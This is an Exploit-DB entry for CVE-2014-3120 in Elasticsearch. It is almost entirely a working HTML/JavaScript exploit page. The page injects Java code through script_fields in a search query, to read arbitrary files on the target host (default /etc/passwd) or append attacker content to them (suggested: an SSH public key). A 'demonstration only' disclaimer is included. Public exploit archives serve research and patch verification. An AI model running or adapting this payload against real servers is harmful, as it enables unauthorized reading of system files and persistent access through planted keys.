标题: ElasticSearch - Remote Code Execution EDB-ID: 33370 CVE: 2014-3120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-05-15 漏洞利用脚本: <!--
##CVE-2014-3120 Elastic Search Remote Code Execution

This project demonstrates the CVE-2014-3120 vulnerability/misconfiguration.  It allows you to read from and append to files on the system hosting ES, provided the user running ES has access to them.

###Notes

This does not require a web server.  Save it locally and run it from a browser.

Discovery and vuln publishing credit goes to: @BvdBijl - http://bouk.co/blog/elasticsearch-rce/
-->

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Latest compiled and minified CSS -->
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" rel="stylesheet">

<!-- Optional theme -->
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap-theme.min.css" rel="stylesheet">
<style>
body {
  padding-top: 50px;
}
.starter-template {
  padding: 40px 15px;
  text-align: center;
}

</style>
</head>


<script src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function es_inject() {

var read_file;
var write_file;

read_file = function(filename) {
  return ("import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"" + filename + "\")).useDelimiter(\"\\\\Z\").next();");
};

write_file = function(filename) {
  return ("import java.util.*;\nimport java.io.*;\nPrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"" + filename + "\", true)));\nwriter.println(\"" + document.getElementById("element_2").value + "\");\nwriter.close();");
};

$(function() {
  var payload, filename, files, host, _i, _len;
  files = [document.getElementById("element_3").value];
  payload = {
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {}
        }
      }
    },
    "script_fields": {}
  };
        if (document.getElementById("element_4").checked) {
        for (_i = 0, _len = files.length; _i < _len; _i++) {
          filename = files[_i];
          payload["script_fields"][filename] = {
                  "script": write_file(filename)
        };
        }
       } else {
          for (_i = 0, _len = files.length; _i < _len; _i++) {
          filename = files[_i];
          payload["script_fields"][filename] = {
                  "script": read_file(filename)
        };
        }
       }    


  $.getJSON("http://" + document.getElementById("element_1").value + ":9200/_search?source=" + (encodeURIComponent(JSON.stringify(payload))) + "&callback=?", function(data) {
    var content, contents, hit, _j, _len1, _ref, _results;
    console.log(data);
    _ref = data["hits"]["hits"];
    _results = [];
    for (_j = 0, _len1 = _ref.length; _j < _len1; _j++) {
      hit = _ref[_j];
      _results.push((function() {
        var _k, _len2, _ref1;
        _ref1 = hit["fields"];
        for (filename in _ref1) {
          contents = _ref1[filename];
          document.getElementById("script_results").innerHTML += ("<h2>" + filename + "</h2>");
          for (_k = 0, _len2 = contents.length; _k < _len2; _k++) {
            content = contents[_k];
            document.getElementById("script_results").innerHTML += (content);
          }
          document.getElementById("script_results").innerHTML += ("<hr>");
    //document.getElementById("script_results").innerHTML += (document.getElementById("element_4").checked);
        }
      })());
    }
    return _results;
  });
});
};
//es_inject();
</script>
<body>

    <div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="#">Elastic Inject</a>
        </div>

      </div>
    </div>

    <div class="container">

      <div class="starter-template">
                <h2>CVE-2014-3120 Elastic Search Remote Code Execution</h2>
                <p class="lead">This will read and write files from an ES instance vulnerable to CVE-2014-3120.<br> This is for demonstration purposes only.</p>
      </div>
      <div class="col-md-8">
                <!-- <form id="ES_Inject" action="" method=""> /-->
                <label for="element_1">ES_IP_Address: </label><br/>
                <input id="element_1" name="element_1" class="element text medium" type="text" maxlength="255" value="127.0.0.1"/> <br/>
                <label for="element_3">File to read/append to: </label><br/>
                <input id="element_3" name="element_3" class="element text medium" type="text" maxlength="255" value="/etc/passwd"/> <br/>
                <label class="description" for="element_2">Content to append: </label><br/>
                <textarea id="element_2" name="element_2" class="element textarea large">YOUR_SSH_PUBLIC_KEY or SOMETHING&lt;/textarea&gt; <br/>
    <!-- <input id="element_4" type="radio" name="es_action" value="read" checked>READ<br/> /-->
    <input id="element_4" type="checkbox" name="es_action" value="write">WRITE<br/>
                <!-- <input id="saveForm" class="button_text" type="submit" name="submit" value="Submit" onClick="es_inject();"/> /-->
                <button onclick="es_inject();">Click me</button>
                <!-- </form> /-->
<h3>Your file contents should appear below if a read is successful. </h3>
<div id="script_results">

</div>
     </div>
<div class="col-md-8">
  Original vulnerability discovered by <a href="https://twitter.com/bvdbijl"> @BvdBijl</a>  - <a href="http://bouk.co/blog/elasticsearch-rce/">http://bouk.co/blog/elasticsearch-rce/</a>
</div>
    </div><!-- /.container -->
    <script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
</body></html> URL: https://www.exploit-db.com/exploits/33370